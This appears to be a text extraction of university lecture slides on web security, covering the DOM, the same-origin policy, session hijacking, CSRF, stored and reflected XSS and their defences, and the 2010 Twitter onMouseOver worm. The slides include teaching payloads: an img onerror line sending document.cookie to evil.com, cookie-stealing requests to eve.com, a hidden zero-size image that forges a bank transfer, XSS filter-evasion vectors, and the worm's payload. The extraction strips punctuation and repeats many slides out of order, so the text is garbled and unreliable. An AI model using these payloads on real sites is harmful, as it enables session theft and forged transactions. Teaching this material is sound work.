I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

